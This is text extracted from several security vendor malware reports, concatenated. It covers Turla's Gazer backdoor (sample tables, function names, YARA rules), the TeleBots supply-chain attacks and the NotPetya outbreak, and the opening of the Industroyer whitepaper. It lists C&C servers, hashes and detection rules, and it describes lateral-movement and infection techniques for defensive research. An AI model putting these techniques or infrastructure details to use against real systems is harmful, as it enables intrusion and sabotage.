+01:30:00
+valid from 16/12/2015
+Win64/Turla.AD
+to 16/12/2017
+228da957a9ed661e17e00efba8e923fd17fae054
+295d142a7bdced124fdcc8edfe49b9f3acceab8a
+0f97f599fab7f8057424340c246d3a836c141782
+dbb185e493a0fdc959763533d86d73f986409f1b
+4701828dee543b994ed2578b9e0d3991f22bd827
+6fd611667ba19691958b5b72673b9b802edd7ff8
+fcabeb735c51e2b8eb6fb07bda8b95401d069bd8
+75831df9cbcfd7bf812511148d2a0f117324a75f
+bae3ae65c32838fb52a0f5ad2cde8659d2bff9f3
+37ff6841419adc51eeb8756660b2fb46f3eb24ed
+9e6de3577b463451b7afce24ab646ef62ad6c2bd
+795c6ee27b147ff0a05c0477f70477e315916e0e
+8184ad9d6bbd03e99a397f8e925fa66cfbe5cf1b
+7ced96b08d7593e28fee616eccbc6338896517cf
+63c534630c2ce0070ad203f9704f1526e83ae586
+23f1e3be3175d49e7b262cd88cfd517694dcba18
+Gazer
+05/02/2002
+orchestrator x32
+Gazer
+17:31:28
+05/02/2002
+orchestrator x32
+Gazer
+17:31:28
+05/02/2002
+orchestrator x32
+Gazer
+17:31:28
+05/02/2002
+orchestrator x32
+Gazer
+17:31:28
+05/02/2002
+orchestrator x64
+Gazer
+17:34:25
+05/02/2002
+orchestrator x64
+Gazer
+17:34:25
+05/02/2002
+orchestrator x64
+Gazer
+17:34:25
+04/10/2002
+orchestrator x32
+Gazer
+18:31:28
+04/10/2002
+orchestrator x32
+Gazer
+18:31:28
+04/10/2002
+orchestrator x64
+Gazer
+18:33:02
+04/10/2002
+orchestrator x64
+Gazer
+18:33:02
+04/10/2002
+orchestrator x64
+Gazer
+18:33:02
+09/01/2016
+orchestrator x64
+Gazer
+19:28:29
+06/02/2016
+orchestrator x64
+Gazer
+19:29:04
+06/02/2016
+orchestrator x64
+Gazer
+19:29:04
+18/02/2016
+orchestrator x64
+15:29:32
+not signed
+Win32/Turla.CF
+not signed
+Win32/Turla.CF
+not signed
+Win32/Turla.CF
+not signed
+Win32/Turla.CC
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win32/Turla.CC
+not signed
+Win32/Turla.CC
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+not signed
+Win64/Turla.AA
+Gazing at Gazer
+Turla
+s new second stage backdoor
+SHA1 hash
+7a6f1486269abdc1d658db618dc3c6f2ac85a4a7
+11b35320fb1cf21d2e57770d8d8b237eb4330eaa
+e8a2bad87027f2bf3ecae477f805de13fccc0181
+950f0b0c7701835c5fbdb6c5698a04b8afe068e6
+Component
+Compilation
+Time
+Gazer
+01/01/2017
+orchestrator x64
+Gazer
+08:39:19
+11/06/2017
+orchestrator x64
+Gazer
+23:42:28
+19/06/2017
+orchestrator x32
+Gazer
+01:28:21
+19/06/2017
+orchestrator x64
+01:29:46
+a5eec8c6aadf784994bf68d9d937bb7af3684d5c Gazer comm x64
+411ef895fe8dd4e040e8bf4048f4327f917e5724
+Gazer comm x32
+c1288df9022bcd2c0a217b1536dfa83928768d06
+Gazer comm x32
+4b6ef62d5d59f2fe7f245dd3042dc7b83e3cc923
+Gazer comm x32
+7f54f9f2a6909062988ae87c1337f3cf38d68d35
+Gazer wiper x32
+05/02/2002
+17:57:07
+05/02/2002
+17:58:22
+06/02/2016
+19:23:52
+11/06/2017
+23:44:24
+05/02/2002
+17:39:07
+Certificate
+Eset Detection
+Name
+not signed
+Win64/Turla.AG
+not signed
+Win64/Turla.AD
+not signed
+Win32/Turla.CF
+not signed
+Win64/Turla.AD
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AH
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+not signed
+Win32/Turla.CC
+not signed
+Win32/Turla.CF
+admin@solidloop.org
+valid from 14/10/2015
+to 14/10/2016
+Win32/Turla.CL
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Appendices
+Function names
+There are a few samples of Gazer that use the current function name as first parameter for the log
+function. Here is a list of some function names used in Gazer:
+ AutorunManager Class
+ AutorunManager::~AutorunManger
+ AutorunManager::Init
+ AutorunManger::ReInit
+ AutorunManager::BuildAutorunSettings
+ AutorunManager::FreeAutorunsSettings
+ AutorunManager::FullCheck
+ AutorunManager::StartAutorunEx
+ AutorunManager::FullStart
+ HiddenTaskAutorun Class
+ HiddenTaskAutorun::IsPathsEqual
+ LinkAutorun Class
+ LinkAutorunClass::InfectLnkFile
+ LinkAutorunClass::ClearLnkFile
+ LinkAutorunClass::CheckLnkFile
+ RemoteImport32 Class
+ RemoteImport32::RemoteImport32
+ RemoteImport32::GetRemoteProcAddress
+ RemoteImport32::GetRemoteModuleHandle
+ ScreenSaverAutorun Class
+ ScreenSaverAutorun::ChangeScreenSaver
+ ScreenSaverAutorun::WndProc1
+ ScreenSaverAutorun::GetMessageThreadProc
+ ScreenSaverAutorun::CreateHiddenWindow
+ ScreenSaverAutorun::CloseHiddenWindow
+ ShellAutorun Class
+ ShellAutorun::AutorunInstallEx
+ ShellAutorun::AutorunUninstallEx
+ ShellAutorun::AutorunCheckEx
+ ShellAutorun::IsPathsEqual
+ StartupAutorun Class
+ StartupAutorun::AutorunInstallEx
+ StartupAutorun::AutorunUninstallEx
+ StartupAutorun::AutorunCheckEx
+ StartupAutorun::IsPathsEqual
+ TaskScheduler20Autorun Class
+ TaskScheduler20Autorun::Init
+ TaskScheduler20Autorun::AutorunCheckEx
+ TaskScheduler20Autorun::AutorunInstallEx
+ TaskScheduler20Autorun::AutorunUninstallEx
+ TaskScheduler20Autorun::IsPathsEqual
+Gazing at Gazer
+Turla
+s new second stage backdoor
+ DllInjector Class
+ DllInjector::LoadDllToProcess
+ DllInjector::GetProcHandle
+ DllInjector::CheckDllAndSetPlatform
+ DllInjector::CopyDllFromBuffer
+ DllInjector::MapLibrary
+ DllInjector::Map86Library_tox64
+ DllInjector::CallEntryPoint
+ DllInjector::FindDllImageBase
+ DllInjector::WindowInject
+ InjectManager Class
+ InjectManager::~InjectManager
+ InjectManager::BuildInjectSettingsList
+ InjectManager::FreeInjectSettingsList
+ InjectManager::Stop
+ InjectManager::DetachAll
+ InjectManager::FindAndInjectInVictim
+ InjectManager::FindProcessSimple2
+ InjectManager::LoadNtdll
+ InjectManager::UnLoadNtdll
+ InjectManager::LoadWinsta
+ InjectManager::UnLoadWinsta
+ InjectManager::SetStatusTransportDll
+ InjectManager::GetTransportState
+ InjectManager::DestroyManuallyCreatedVictim
+ InjectManager::VictimManualCreateIE
+ TNPTransport Class
+ TNPTransport::Init
+ TNPTransport::ReInit
+ TNPTransport::~TNPTransport
+ TNPTransport::Receive
+ TNPTransport::RunServer
+ TNPTransport::ServerProc
+ ExeStorage Class
+ ExeStorage::Migrate
+ ExeStorage::SecureHeapFree
+ FSStorage Class
+ FSStorage::~FSStorage
+ FSStorage::Init
+ FSStorage::GetBlock
+ FSStorage::GetListBlock
+ FSStorage::Migrate
+ FSStorage::SecureHeapFree
+ FSStorage::Update
+ FSStorage::Empty
+ RegStorage Class
+ RegStorage::~RegStorage
+ RegStorage::Init
+ RegStorage::FreeList
+Gazing at Gazer
+Turla
+s new second stage backdoor
+RegStorage::GetListBlock
+RegStorage::DeleteListBlock
+RegStorage::Migrate
+RegStorage::SecureHeapFree
+RegStorage::Update
+RegStorage::Empty
+ ResultQueue Class
+ ResultQueue::~ResultQueue
+ ResultQueue::DumpQueueToStorage
+ ResultQueue::RestoreFromStorage
+ ResultQueue::ClearQueue
+ ResultQueue::RemoveResult
+ ResultQueue::GetNextResultToSendWithModule
+ ResultQueue::SetPredeterminedResult
+ ResultQueue::print
+ TaskQueue Class
+ TaskQueue::~TaskQueue
+ TaskQueue::DumpQueueToStorage
+ TaskQueue::RestoreFromStorage
+ TaskQueue::ClearQueue
+ TaskQueue::RemoveCompletedTasks
+ TaskQueue::print
+ CExecutionSubsystem Class
+ CExecutionSubsystem::~CExecutionSubsystem
+ CExecutionSubsystem::Stop
+ CExecutionSubsystem::TaskExecusion
+ CExecutionSubsystem::TaskConfigure
+ CExecutionSubsystem::TaskUpload
+ CExecutionSubsystem::TaskDownload
+ CExecutionSubsystem::TaskReplacement
+ CExecutionSubsystem::TaskDelete
+ CExecutionSubsystem::TaskPacketLocalTransport
+ CExecutionSubsystem::FinishTask
+ CExecutionSubsystem::PushTaskResult
+ CExecutionSubsystem::UpdateStorage
+ CMessageProcessingSystem Class
+ CMessageProcessingSystem::~CMessageProcessing
+ CMessageProcessingSystem::ListenerCallBack
+ CMessageProcessingSystem::WaitShutdownModule
+ CMessageProcessingSystem::SetCompulsorySMC
+ CMessageProcessingSystem::UnSetCompulsorySMC
+ CMessageProcessingSystem::IsCompulsorySMC
+ CMessageProcessingSystem::GetCompulsorySMC
+ CMessageProcessingSystem::Receive_TAKE_NOP
+ CMessageProcessingSystem::Receive_GIVE_SETTINGS
+ CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK
+ CMessageProcessingSystem::Receive_GIVE_CACHE
+ CMessageProcessingSystem::Receive_TAKE_CACHE
+ CMessageProcessingSystem::Receive_TAKE_TASK
+ CMessageProcessingSystem::Receive_GIVE_RESULT
+Gazing at Gazer
+Turla
+s new second stage backdoor
+CMessageProcessingSystem::Receive_TAKE_CONFIRM_RESULT
+CMessageProcessingSystem::Receive_TAKE_LOADER_BODY
+CMessageProcessingSystem::Receive_TAKE_UNINSTALL
+CMessageProcessingSystem::Receive_NO_CONNECT_TO_Gazer
+CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION
+CMessageProcessingSystem::Send_TAKE_FIN
+CMessageProcessingSystem::Send_TAKE_SHUTDOWN
+CMessageProcessingSystem::Send_TAKE_SETTINGS
+CMessageProcessingSystem::Send_TAKE_RESULT
+ Crypto Class
+ Crypto::GetPublicKey
+ Crypto::EncryptRSA
+ Crypto::Sign
+ Crypto::EncryptAndSignBufferRSAEx
+ Crypto::DecryptRSA
+ Crypto::Verify
+ Crypto::DecryptAndVerifyBufferRSAEx
+ Crypto::EncryptAndSignBufferRSA1
+ Crypto::EncryptAndSignBufferRSAC
+ Crypto::DecryptAndVerifyBufferRSA0
+ Crypto::DecryptAndVerifyBufferRSA1
+ Crypto::DecryptAndVerifyBufferRSAL
+ Crypto::VerifyLoaderFile
+ Crypto::VerifyLoader
+ Crypto::CompressBuffer
+ Crypto::DecompressBuffer
+ LTManager Class
+ LTManager::~LTManager
+ LTManager::Init
+ LTManager::GetResultFromQueue
+ LTManager::SetResultToCache
+ LTManager::GetTaskFromCache
+ LTManager::SetTaskToQueue
+ LTManager::IsSendPacketFurtherOnRoute
+ LTManager::SendPacketNextRouteUnit
+ LTManager::SetCache
+ LTManager::SetPacket
+ LTManager::DumpCacheToStorage
+ LTManager::DeSerializeCache
+ LTManager::DeSerializePacket
+ LTManager::DeSerializeRoute
+ LTManager::DeSerializeTask
+ LTManager::DeSerializeResult
+ LTManager::SerializeCache
+ LTManager::SerializePacket
+ LTManager::SerialiazeRoute
+ LTManager::SerializeTask
+ LTManager::SerializeResult
+ LTManager::ClearCache
+ LTManager::ClearPacket
+ LTManager::ClearRoute
+Gazing at Gazer
+Turla
+s new second stage backdoor
+LTManager::ClearTask
+LTManager::ClearResult
+LTManager::PrintCache
+LTManager::CreateEvents
+LTManager::SetEvents
+LTManager::ResetEvents
+LTManager::WaitEvents
+LTManager::DeleteEvents
+ LTMessageProcessing Class
+ LTMessageProcessing::ListenerCallBack
+ LTMessageProcessing::Send_TAKE_OK
+ LTMessageProcessing::Send_TAKE_ERROR_CRYPT
+ LTMessageProcessing::Send_TAKE_ERROR_UNKNOWN
+ LTNamedPipe Class
+ LTNamedPipe::ReInit
+ LTNamedPipe::BuildLocalTransportSettings
+ LTNamedPipe::~LTNamedPipe
+ LTNamedPipe::Receive
+ LTNamedPipe::RunServer
+ LTNamedPipe::Stop
+ LTNamedPipe::CreateNewNPInstance
+ LTNamedPipe::ServerProc
+ LTNamedPipe::ClientCommunication
+Yara rules
+import 
+import 
+math
+import 
+hash
+rule Gazer_certificate_subject {
+condition:
+for any i in (0..pe.number_of_signatures - 1):
+(pe.signatures[i].subject contains 
+Solid Loop
+pe.signatures[i].subject contains 
+Ultimate Computer Support
+rule Gazer_certificate
+strings:
+$certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02}
+$certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c}
+condition:
+(uint16(0) == 0x5a4d) and 1 of them and filesize < 2MB
+rule Gazer_logfile_name
+strings:
+$s1 = 
+CVRG72B5.tmp.cvr
+$s2 = 
+CVRG1A6B.tmp.cvr
+$s3 = 
+CVRG38D9.tmp.cvr
+condition:
+(uint16(0) == 0x5a4d) and 1 of them
+TeleBots are back: Supply-chain attacks against Ukraine
+welivesecurity.com /2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/
+6/30/2017
+By Anton Cherepanov posted 30 Jun 2017 - 03:30PM
+Ransomware
+The latest Petya-like outbreak has gathered a lot of attention from the media. However, it should be noted that this
+was not an isolated incident: this is the latest in a series of similar attacks in Ukraine. This blogpost reveals many
+details about the Diskcoder.C (aka ExPetr, PetrWrap, Petya, or NotPetya) outbreak and related information about
+previously unpublished attacks.
+1/11
+Figure 1 
+ The timeline of supply-chain attacks in Ukraine.
+TeleBots
+In December 2016 we published two detailed blogposts about disruptive attacks conducted by the group ESET
+researchers call TeleBots, specifically about attacks against financial institutions and a Linux version of the KillDisk
+malware used by this group. The group mounted cyberattacks against various computer systems in Ukraine;
+systems that can be defined as critical infrastructure. Moreover, this group has connections with the infamous
+BlackEnergy group that was responsible for the December 2015 power outages in Ukraine.
+In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific
+file extensions on the victims
+ disks. Putting the cart before the horse: collecting ransom money was never the top
+priority for the TeleBots group. The KillDisk malware used in the first wave of December 2016 attacks, instead of
+encrypting, simply overwrites targeted files. Further, it did not provide contact information for communicating with the
+attacker; it just displayed an image from the Mr. Robot TV show.
+2/11
+Figure 2 
+ The picture displayed by KillDisk malware in the first wave of December 2016 attacks.
+In the second wave of attacks, the cybersaboteurs behind the KillDisk malware added contact information to the
+malware, so it would look like a typical ransomware attack. However, the attackers asked for an extraordinary
+number of bitcoins: 222 BTC (about $250,000 at that time). This might indicate that they were not interested in
+bitcoins, but their actual aim was to cause damage to attacked companies.
+Figure 3 
+ The ransom demand displayed by KillDisk in the second wave of December 2016 attacks.
+In 2017, the TeleBots group didn
+t stop their cyberattacks; in fact, they became more sophisticated. In the period
+between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related
+to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial
+institutions.
+During that attack, those behind TeleBots enhanced their arsenal with two pieces of ransomware and updated
+versions of tools mentioned in the previously-linked blogposts.
+The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.A, which was rewritten from Python
+3/11
+in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the
+Telegram Bot API in order to receive commands from, and send responses to, the malware operator.
+Figure 4 
+ Disassembled code of the Win32/TeleBot.AB trojan.
+The second backdoor, which was written in VBS and packaged using the script2exe program, was heavily
+obfuscated but the functionality remained the same as in previous attacks.
+Figure 5 
+ The obfuscated version of the VBS backdoor.
+This time the VBS backdoor used the C&C server at 130.185.250[.]171. To make connections less suspicious for
+those who check firewall logs, the attackers registered the domain transfinance.com[.]ua and hosted it on that IP
+address. As is evident from Figure 6 this server was also running the Tor relay named severalwdadwajunior.
+4/11
+Figure 6 
+ Information about Tor relay run by the TeleBots group.
+In addition, the attacker used the following tools:
+CredRaptor (password stealer)
+Plainpwd (modified Mimikatz used for recovering Windows credentials from memory)
+SysInternals
+ PsExec (used for lateral movement)
+As mentioned above, in the final stage of their attacks, the TeleBots attackers pushed ransomware using stolen
+Windows credentials and SysInternals
+ PsExec. This new ransomware was detected by ESET products as
+Win32/Filecoder.NKH. Once executed, this ransomware encrypts all files (except files located in the C:\Windows
+directory) using AES-128 and RSA-1024 algorithms. The malware adds the .xcrypted file extension to alreadyencrypted files.
+When encryption is done, this filecoder malware creates a text file !readme.txt with the following content:
+Please contact us: openy0urm1nd@protonmail.ch
+In addition to Windows malware, the TeleBots group used Linux ransomware on non-Windows servers. This
+ransomware is detected by ESET products as Python/Filecoder.R and, predictably, it is written in the Python
+programming language. This time attackers execute third-party utilities such as openssl in order to encrypt files. The
+encryption is done using the RSA-2048 and AES-256 algorithms.
+5/11
+Figure 7 
+ Python code of Linux ransomware Python/Filecoder.R used by the TeleBots group.
+In the code of Python script, attackers left their comment which had following text:
+feedback: openy0urm1nd[@]protonmail.ch
+Win32/Filecoder.AESNI.C
+On 18 May 2017, we noticed new activity on the part of another ransomware family Win32/Filecoder.AESNI.C (also
+referred to as XData).
+This ransomware was spread mostly in Ukraine, because of an interesting initial vector. According to our LiveGrid
+telemetry, the malware was created right after execution of the M.E.Doc software that is widely used by accounting
+personnel in Ukraine.
+The Win32/Filecoder.AESNI.C ransomware had a spreading mechanism that allowed it to perform lateral movement
+automatically, inside a compromised company LAN. Specifically, the malware had an embedded Mimikatz DLL that
+it used to extract Windows account credentials from the memory of a compromised PC. With these credentials, the
+malware started to spread inside its host network using SysInternals
+ PsExec utility.
+It seems that the attackers either did not reach their goal on that occasion, or it was the test before a more effective
+strike. The attackers posted master decryption keys on the BleepingComputer forum, along with the assertion that
+this was done because the original author claimed that the source was stolen and used in the Ukraine incident.
+ESET published a decryption tool for Win32/Filecoder.AESNI ransomware, and this event didn
+t gain much media
+attention.
+Diskcoder.C (aka Petya-like) outbreak
+What did gain a lot of media attention, however, was the Petya-like outbreak of 27 June, 2017, because it
+successfully compromised a lot of systems in critical infrastructure and other businesses in Ukraine, and further
+afield.
+The malware in this attack has the ability to replace the Master Boot Record (MBR) with its own malicious code.
+This code was borrowed from Win32/Diskcoder.Petya ransomware. That
+s why some other malware researchers
+6/11
+have named this threat as ExPetr, PetrWrap, Petya, or NotPetya. However, unlike the original Petya ransomware,
+Diskcoder.C
+s authors modified the MBR code in such a way that recovery won
+t be possible. Specifically, the
+attacker cannot provide a decryption key and the decryption key cannot be typed in the ransom screen, because the
+generated key contains non-acceptable characters.
+Visually this MBR part of Diskcoder.C looks like a slightly modified version of Petya: at first it displays a message
+that impersonates CHKDSK, Microsoft
+s disk checking utility. During the faux CHKDISK scan Diskcoder.C actually
+encrypts the data.
+Figure 8 
+ Fake CHKDSK message displayed by Diskcoder.C.
+When encryption is complete, the MBR code displays the next message with payment instructions, but as noted
+before this information is useless.
+Figure 9 
+ Diskcoder.C message with payment instructions.
+The remainder of the code, other than the borrowed MBR, was implemented by the authors themselves. This
+includes file encryption that can be used as a complement to the disk-encrypting MBR. For file encryption, the
+7/11
+malware uses the AES-128 and RSA-2048 algorithms. It should be noted that the authors made mistakes that make
+decryption of files less possible. Specifically, the malware encrypts only the first 1MB of data and it does not write
+any header or footer, only raw encrypted data and does not rename encrypted files, so it
+s hard to say which files are
+encrypted and which are not. In addition to that, files that are larger than 1MB after encryption do not contain
+padding, so there is no way to verify the key.
+Interestingly, the list of target file extensions is not identical but is very similar to the file extensions list from the
+KillDisk malware used in the December 2016 attacks.
+Figure 10 
+ List of target file extensions from Diskcoder.C.
+Once the malware is executed it attempts to spread using the infamous EternalBlue exploit, leveraging the
+DoublePulsar kernel-mode backdoor. Exactly the same method was used in the WannaCryptor.D ransomware.
+Diskcoder.C also adopted the method from the Win32/Filecoder.AESNI.C (aka XData) ransomware: it uses a
+lightweight version of Mimikatz to obtain credentials and then executes the malware using SysInternals
+ PsExec on
+other machines on the LAN. In addition to that, the attackers implemented a third method of spreading using a WMI
+mechanism.
+All three of these methods have been used to spread malware inside LANs. Unlike the infamous WannaCryptor
+malware, the EternalBlue exploit is used by Diskcoder.C only against computers within the local network address
+space.
+Why are there infections in other countries than Ukraine? Our investigation revealed that affected companies in
+other countries had VPN connections to their branches, or to business partners, in Ukraine.
+Initial infection vector
+Both Diskcoder.C and Win32/Filecoder.AESNI.C used a supply-chain attack as the initial infection vector. These
+malware families were spread using Ukrainian accounting software called M.E.Doc.
+There are several options for how this attack can be implemented. The M.E.Doc has an internal messaging and
+document exchange system so attackers could send spearphishing messages to victims. User interaction is
+required in order to execute something malicious in this way. Thus, social engineering techniques would be
+involved. Since Win32/Filecoder.AESNI.C didn
+t spread so widely, we mistakenly assumed that these techniques
+were used in this case.
+However, the subsequent Diskcoder.C outbreak suggests that the attackers had access to the update server of the
+legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically
+without user interaction. That
+s why so many systems in Ukraine were affected by this attack. However, it seems
+like the malware authors underestimated the spreading capabilities of Diskcoder.C.
+ESET researchers found evidence that supports this theory. Specifically, we identified a malicious PHP backdoor
+that was deployed under medoc_online.php in one of the FTP directories on M.E.Doc
+s server. This backdoor was
+accessible from HTTP; however, it was encrypted, so the attacker would have to have the password in order to use
+8/11
+Figure 11 
+ Listing of FTP directory containing the PHP backdoor.
+We should say that there are signs that suggest that Diskcoder.C and Win32/Filecoder.AESNI.C were not the only
+malware families that were deployed using that infection vector. We can speculate that these malicious updates
+were deployed in a stealthy way to computer networks that belong to high-value targets.
+One such malware that was deployed via this possible compromised M.E.Doc update server mechanism was the
+VBS backdoor used by the TeleBots group. This time the attacker again used a financially-themed domain name:
+bankstat.kiev[.]ua.
+On the day of the Diskcoder.C outbreak, the A-record of this domain was changed to 10.0.0.1
+Conclusions
+The TeleBots group continues to evolve in order to conduct disruptive attacks against Ukraine. Instead of
+spearphishing emails with documents containing malicious macros, they used a more sophisticated scheme known
+as a supply-chain attack. Prior to the outbreak, the Telebots group targeted mainly the financial sector. The latest
+outbreak was directed against businesses in Ukraine, but they apparently underestimated the malware
+ spreading
+capabilities. That
+s why the malware went out of control.
+Indicators of Compromise (IoC)
+ESET detection names:
+Win32/TeleBot trojan
+VBS/Agent.BB trojan
+VBS/Agent.BD trojan
+VBS/Agent.BE trojan
+Win32/PSW.Agent.ODE trojan
+Win64/PSW.Agent.K trojan
+Python/Filecoder.R trojan
+Win32/Filecoder.AESNI.C trojan
+Win32/Filecoder.NKH trojan
+Win32/Diskcoder.C trojan
+Win64/Riskware.Mimikatz application
+Win32/RiskWare.Mimikatz application
+C&C servers:
+9/11
+transfinance.com[.]ua (IP: 130.185.250.171)
+bankstat.kiev[.]ua (IP: 82.221.128.27)
+www.capital-investing.com[.]ua (IP: 82.221.131.52)
+Legitimate servers abused by malware authors:
+api.telegram.org (IP: 149.154.167.200, 149.154.167.197, 149.154.167.198, 149.154.167.199)
+VBS backdoor:
+1557E59985FAAB8EE3630641378D232541A8F6F9
+31098779CE95235FED873FF32BB547FFF02AC2F5
+CF7B558726527551CDD94D71F7F21E2757ECD109
+Mimikatz:
+91D955D6AC6264FBD4324DB2202F68D097DEB241
+DCF47141069AECF6291746D4CDF10A6482F2EE2B
+4CEA7E552C82FA986A8D99F9DF0EA04802C5AB5D
+4134AE8F447659B465B294C131842009173A786B
+698474A332580464D04162E6A75B89DE030AA768
+00141A5F0B269CE182B7C4AC06C10DEA93C91664
+271023936A084F52FEC50130755A41CD17D6B3B1
+D7FB7927E19E483CD0F58A8AD4277686B2669831
+56C03D8E43F50568741704AEE482704A4F5005AD
+38E2855E11E353CEDF9A8A4F2F2747F1C5C07FCF
+4EAAC7CFBAADE00BB526E6B52C43A45AA13FD82B
+F4068E3528D7232CCC016975C89937B3C54AD0D1
+Win32/TeleBot:
+A4F2FF043693828A46321CCB11C5513F73444E34
+5251EDD77D46511100FEF7EBAE10F633C1C5FC53
+Win32/PSW.Agent.ODE (CredRaptor):
+759DCDDDA26CF2CC61628611CF14CFABE4C27423
+77C1C31AD4B9EBF5DB77CC8B9FE9782350294D70
+EAEDC201D83328AF6A77AF3B1E7C4CAC65C05A88
+EE275908790F63AFCD58E6963DC255A54FD7512A
+EE9DC32621F52EDC857394E4F509C7D2559DA26B
+FC68089D1A7DFB2EB4644576810068F7F451D5AA
+10/11
+Win32/Filecoder.NKH:
+1C69F2F7DEE471B1369BF2036B94FDC8E4EDA03E
+Python/Filecoder.R:
+AF07AB5950D35424B1ECCC3DD0EEBC05AE7DDB5E
+Win32/Filecoder.AESNI.C:
+BDD2ECF290406B8A09EB01016C7658A283C407C3
+9C694094BCBEB6E87CD8DD03B80B48AC1041ADC9
+D2C8D76B1B97AE4CB57D0D8BE739586F82043DBD
+Win32/Diskcoder.C:
+34F917AABA5684FBE56D3C57D48EF2A1AA7CF06D
+PHP shell:
+D297281C2BF03CE2DE2359F0CE68F16317BF0A86
+11/11
+WIN32/INDUSTROYER
+A new threat for
+industrial control systems
+Anton Cherepanov, ESET
+Version 2017-06-12
+Win32/Industroyer
+Contents
+Win32/Industroyer: a new threat for industrial control systems  .  .  .  .  .  .  . 2
+Main backdoor  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 3
+Additional backdoor  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 4
+Launcher component  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 5
+101 payload component  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .6
+104 payload component .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 7
+61850 payload component  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 10
+OPC DA payload component .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 12
+Data wiper component .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 13
+Additional tools: port scanner tool . .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 14
+Additional tools: DoS tool .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 15
+Conclusion .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 15
+Indicators of Compromise (IoC) .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  . 15
+Win32/Industroyer
+Win32/Industroyer: a new threat for
+industrial control systems
+Win32/Industroyer is a sophisticated piece of malware designed to disrupt
+the working processes of industrial control systems (ICS), specifically
+industrial control systems used in electrical substations.
+Those behind the Win32/Industroyer malware have a deep knowledge
+and understanding of industrial control systems and, specifically, the
+industrial protocols used in electric power systems. Moreover, it seems very
+unlikely anyone could write and test such malware without access to the
+specialized equipment used in the specific, targeted industrial environment.
+this malware could have been the tool used by attackers to cause the
+power outage in Ukraine in December 2016, although at the time of
+writing, it is not confirmed, and the investigation is still ongoing. The
+infection vector remains unknown.
+The malware contains multiple modules, as analyzed and described in the
+next sections of this whitepaper. However, before diving into those details,
+the following simplified schematic shows the connections between the
+components of the malware.
+Support for four different industrial control protocols, specified in the
+standards listed below, has been implemented by the malware authors:
+ IEC 60870-5-101 (aka IEC 101)
+ IEC 60870-5-104 (aka IEC 104)
+ IEC 61850
+ OLE for Process Control Data Access (OPC DA)
+In addition to all that, the malware authors also wrote a tool that
+implements a denial-of-service (DoS) attack against a particular family of
+protection relays, specifically the Siemens SIPROTEC range.
+All this considered, the Win32/Industroyer malware authors show an
+intensive focus that suggests they are highly specialized in industrial
+control systems.
+The capabilities of this malware are significant. When compared to the
+toolset used by threat actors in the 2015 attacks against the Ukrainian
+power grid which culminated in a black out on December 23, 2015
+(BlackEnergy, KillDisk, and other components, including legitimate
+remote access software) the gang behind Industroyer are more advanced,
+since they went to great lengths to create malware capable of directly
+controlling switches and circuit breakers. We have seen indications that
+Figure 1. Simplified schematic of Win32/Industroyer components.
+While some components (e.g. Data wiper) are similar in concept to the 2015
+BlackEnergy attacks against power grid companies in Ukraine, we don
+t see
+any link between those attacks and the code in this malware.
+Win32/Industroyer
+Main backdoor
+We refer to the core component of Industroyer as the main backdoor. The
+main backdoor is used by the attackers behind Industroyer to control all
+other components of the malware.
+As backdoors go, this component is pretty straightforward, connecting
+to its remote C&C server using HTTPS and receiving commands from
+the attackers. All analyzed samples are hardcoded to use the same proxy
+address, located in the local network. Thus, the backdoor is clearly designed
+to work only in one specific organization. It is also worth mentioning that
+most of the C&C servers used by this backdoor are running Tor software.
+Perhaps the most interesting feature of this backdoor is that attackers
+can define a specific hour of the day when the backdoor will be active.
+For example, the attackers can modify the backdoor in this way so it will
+communicate with its C&C server only outside working hours. This can make
+detection based only on network traffic examination harder. However, all the
+samples analyzed so far are set to work 24 hours round the clock.
+Once connected to its remote C&C server, the main backdoor component
+sends the following data in a POST-request:
+ the globally unique identifier (GUID) string for the current hardware
+profile retrieved via GetCurrentHwProfile
+ the version of the malware: 1.1e
+ the hardcoded ID of the sample
+ the result of any previously-received command
+The hardcoded ID is used by the attacker as an identifier for the infected
+machine. Across all analyzed samples we found the following hardcoded ID
+values:
+ DEF
+ DEF-C
+ DEF-WS
+ DEF-EP
+ DC-2-TEMP
+ DC-2
+ CES-McA-TEMP
+ CES
+ SRV_WSUS
+ SRV_DC-2
+ SCE-WSUS01
